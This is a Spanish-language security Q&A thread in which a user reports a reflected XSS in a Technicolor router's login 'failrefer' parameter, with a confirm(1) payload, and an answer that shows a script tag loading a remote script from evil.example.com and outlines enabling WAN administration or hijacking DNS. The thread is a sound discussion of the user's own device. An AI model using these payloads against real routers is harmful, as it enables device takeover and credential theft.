Una posible vulnerabilidad XSS del enrutador

2

He estado intentando analizar el módem de mi enrutador y ver cómo funciona y buscar posibles vulnerabilidades en el sistema. y me gustaría un poco de ayuda.

Investigación de seguridad del enrutador:

router access ip : 192.168.1.1

primero el servidor web hace una comprobación:

if (user_level == -1) {
    location.href = "admin.html";
//if user_level == -1 // get him back to the login page 

el servidor web obtiene el "nivel de usuario" de un archivo javascript.

location : http://192.168.1.1/users.sjs
var currentUser = "error"; var user_level = -1; 

¡No sé cómo el servidor web puede enviar valores a este script! ¿Este script tiene variables globales?

si el inicio de sesión es exitoso: los valores del archivo javascript:

location : http://192.168.1.1/users.sjs
var currentUser = "technicolor"; var user_level = 15; 

/// current user check :
if (currentUser == "technicolor") {
        location.href = "thomson/index.html";
    }

para que el servidor web dé acceso si los usuarios.sjs tienen tecnicolor y 15 como valores de variables!

la página de inicio de sesión envía una solicitud POST a este archivo:

POST /cgi-bin/basicauth.cgi?index.html HTTP/1.1

una de las variables de solicitud es failrefer ; si el inicio de sesión falló, lo redireccionará a /admin.html y encontré que esta variable de publicación tiene un XSS vulnerability :

&failrefer=/admin.html</script><script>confirm(1)</script>

Realmente quiero saber lo que piensas! ¿hay alguna manera de que alguien pueda acceder al panel de control de mi enrutador si encuentra esta vulnerabilidad? gracias :)

    
pregunta Yorke York 31.08.2015 - 04:42
fuente

1 respuesta

2

Sí, podrían controlar su enrutador con esa vulnerabilidad.

Incluso si hay un límite en la longitud del parámetro failrefer , un atacante podría alojar un script que pueda ejecutar las funciones del enrutador en http://evil.example.com/attack_router.js y luego engañarlo para que visite

&failrefer=/admin.html</script><script src="http://evil.example.com/attack_router.js"></script>

de alguna manera. Por ejemplo, enviándole enlaces de phishing o enviando correos electrónicos que parecen provenir de sus contactos conocidos (si este fue un ataque dirigido).

Sin embargo, ya deberías haber iniciado sesión en tu enrutador (y supongo que una llamada a la URL anterior no cerrará tu sesión), o configurar tu enrutador con credenciales predeterminadas o débiles.

Todo lo que el script attack_router.js debería hacer es hacer solicitudes POST a las páginas de configuración del enrutador. Por ejemplo, a la página de inicio de sesión remota para habilitar la administración de HTTP en el lado WAN. El atacante, sabiendo su IP desde la solicitud a su dominio evil.example.com puede simplemente iniciar sesión en su enrutador.

Otro ejemplo de ataques sería usar la página de configuración de DNS para cambiar su DNS a uno que esté bajo el control del atacante. Luego podrían redirigirte a sus propios sistemas para intentar capturar tus credenciales (por ejemplo, un ataque de estilo sslstrip).

    
respondido por el SilverlightFox 31.08.2015 - 13:50
fuente

Lea otras preguntas en las etiquetas